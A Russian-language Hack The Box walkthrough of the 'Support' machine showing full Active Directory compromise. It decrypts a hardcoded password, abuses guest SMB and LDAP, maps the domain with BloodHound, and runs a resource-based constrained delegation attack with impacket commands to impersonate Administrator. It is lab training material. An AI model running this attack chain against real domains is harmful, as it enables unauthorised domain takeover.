В этой статье, на примере прохождения задания Support Hack The Box я покажу, как провести атаку RBCD для захвата домена Active Directory.
Еще по теме: Атаки на службы сертификатов Active Directory
Лучше подключаться к машине HTB с помощью VPN. И желательно не делать это со своего личного компа, на котором хранится чувствительная информация. Подробнее в статье «Как подключиться и использовать Hack The Box».
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.174 support.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Для этого отлично подходит популярный сканер Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. Первый производит просто быстрое сканирование, второй — глубокое сканирование, используя имеющиеся скрипты (опция —A)
Сканирование нашло большое количество портов, что свойственно для систем Windows:
- 53 — служба DNS;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3269 (LDAPS) — для доступа к Global Catalog
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
DNS ничего полезного не дал, а вот SMB дает возможность подключиться от имени гостя. Рекомендую использовать CrackMapExec. Для получения списка общих ресурсов с соответствующими разрешениями используется параметр --shares.
1 |
crackmapexec smb 10.10.11.174 -u guest -p '' --shares |
После подключения к расшареному ресурсу ищем, что-нибудь интересное.
1 |
smbclient //10.10.11.174/support-tools -N |
Исходя из названий файлов, нас может заинтересовать UserInfo.exe.zip.
1 |
get UserInfo.exe.zip |
Это приложение на .NET, поэтому можно с помощью dnSpy легко декомпилировать и проанализировать исходный код. В нем мы находим класс Protected, метод getPassword которого должен расшифровать и вернуть пароль.
Давайте восстановим алгоритм и узнаем пароль.
1 2 3 4 5 6 7 8 |
enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E" key = b"armando" import base64 e_password = base64.b64decode(enc_password) dec_password = [] for i in range(len(e_password)): dec_password.append(chr(e_password[i] ^ key[i % len(key)] ^ 223)) "".join(dec_password) |
В итоге получаем пароль и продолжаем анализ приложения.
В исходном коде класса LdapQuery можно узнать имя пользователя, которое используется при подключении к LDAP.
У нас есть все необходимые учетные данные, поэтому подключимся к службе LDAP с помощью JXplorer.
Первым делом соберем и просмотрим информацию о пользователях. Так, в атрибуте info пользователя support можем получить какую‑то интересную строку.
Возможно, это пароль. Проверить гипотезу можно с помощью CrackMapExec.
1 |
crackmapexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful |
Мы нашли пароль пользователя домена, попробуем извлечь из этого больше информации. На удаленном хосте активна служба удаленного управления Windows, поэтому получим список пользователей группы Remote Management Users.
1 |
crackmapexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful --groups 'Remote Management Users' |
Узнаем, что наш пользователь может заходить на хост по WinRM. Делаем это с помощью evil-winrm и забираем первый флаг.
1 |
evil-winrm -i 10.10.11.174 -u support -p Ironside47pleasure40Watchful |
Теперь нужно разобраться, куда двигаться дальше. Инструменты WinPEAS и PowerUp ничего не дали, значит, нужна более продвинутая разведка, в которой мы задействуем BloodHound.
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# — и для Linux — на Python.
Первым делом качаем с GitHub версию нагрузки BloodHound на Python:
1 2 3 |
git clone https://github.com/fox-it/BloodHound.py.git cd BloodHound.py python3 setup.py install |
А теперь соберем информацию с целевого хоста, благо это не займет много времени. В параметрах указываем учетные данные для подключения, адрес хоста и тип собираемой информации — всю (параметр -c, значение all).
1 |
bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -dc dc.support.htb -gc dc.support.htb -ns 10.10.11.174 --dns-tcp -c all |
В логах видим, сколько доменов, лесов и компьютеров было найдено, сколько пользователей и групп получено. BloodHound создаст в текущей директории несколько файлов. Для работы с ними нам нужно установить СУБД Neo4j и графическую оснастку BloodHound для построения графа связей.
1 |
sudo apt install neo4j bloodhound |
Запустим установленную СУБД командой
1 |
sudo neo4j console |
После сообщения об успешном старте зайдем через браузер на:
1 |
http://localhost:7474/ |
Нам сразу предложат установить пароль. После установки пароля запускаем BloodHound (команда bloodhound в командной строке) и авторизуемся с только что установленным паролем. Откроется пустое окошко. Закидываем в него полученные в результате работы bloodhound-python файлы.
В поле поиска указываем группу пользователей. На экране будут отображены все пользователи из этой группы, среди которых найдем всех подконтрольных нам и пометим как Mark User as Owned. На иконке пользователя должен появиться череп.
Затем перейдем в графу аналитики и попросим BloodHound найти путь продвижения к другим пользователям от уже взломанных (которых мы только пометили) — опция Shortest Path from Owned Principals. Так мы получим маршрут от пользователя Support.
Если следовать графу, то целевой пользователь Support — член группы Shared Support Accounts, которая, в свою очередь, имеет права GenericAll (полные права) на объект контроллера домена.
В данном случае мы можем провести атаку RBCD. Обычный способ проведения этой атаки — создать учетную запись компьютера, что может сделать каждый пользователь домена (по умолчанию до десяти таких аккаунтов).
Сделаем это с помощью скрипта addcomputer из набора скриптов impacket.
1 |
impacket-addcomputer -computer-name 'ralf_pc$' -computer-pass 'RRrr!!11' -dc-ip 10.10.11.174 'support.htb'/'support':'Ironside47pleasure40Watchful' |
Новый SPN необходимо указать вот в этом атрибуте целевого объекта (в нашем случае контроллера домена):
1 |
msDS-AllowedToActOnBehalfOfOtherIdentity |
Для этого можно использовать готовый скрипт.
1 |
python3 rbcd.py -f RALF_PC -t DC -dc-ip 10.10.11.174 'support.htb'\'support':'Ironside47pleasure40Watchful' |
Затем, используя данные этой учетной записи, злоумышленник может получить тикет через запросы S4U2Self и S4U2Proxy. В этом тоже поможет пакет скриптов impacket.
1 |
impacket-getST -spn host/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 'support.htb'/'ralf_pc$':'RRrr!!11' |
После получения тикета можно использовать Pass-the-Ticket (см. также Атака Pass the hash Pass the ticket ) для доступа к целевому хосту. Экспортируем билет и подключаемся к серверу по WMI.
1 2 |
export KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass support.htb/Administrator@dc.support.htb |
Машина Support Hack The Box захвачена!
ПОЛЕЗНЫЕ ССЫЛКИ:
- Уклонение от Honeytoken при атаке Active Directory
- Пентест Active Directory на машине HTB Intelligence
- Защита от обнаружениа при атаке на Active Directory